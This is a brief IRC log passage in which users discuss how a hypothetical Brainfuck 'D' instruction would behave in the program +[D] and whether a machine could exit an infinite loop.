17:45:24 -!- sleffy has quit (Ping timeout: 264 seconds).
17:45:53 -!- sleffy has joined.
17:46:31 <\oren\> so suppose we use BF and have the D instruction. The program you're proposing is +[D].
17:48:18 <\oren\> The result depends on semantics
17:49:51 -!- orby has quit (Ping timeout: 260 seconds).
17:50:27 <\oren\> can the BF machine detect that it has "finished" the infinite loop and therefore exit it?
17:51:09 <rdococ> hm
17:52:49 -!- LKoen has quit (Quit: “It’s onl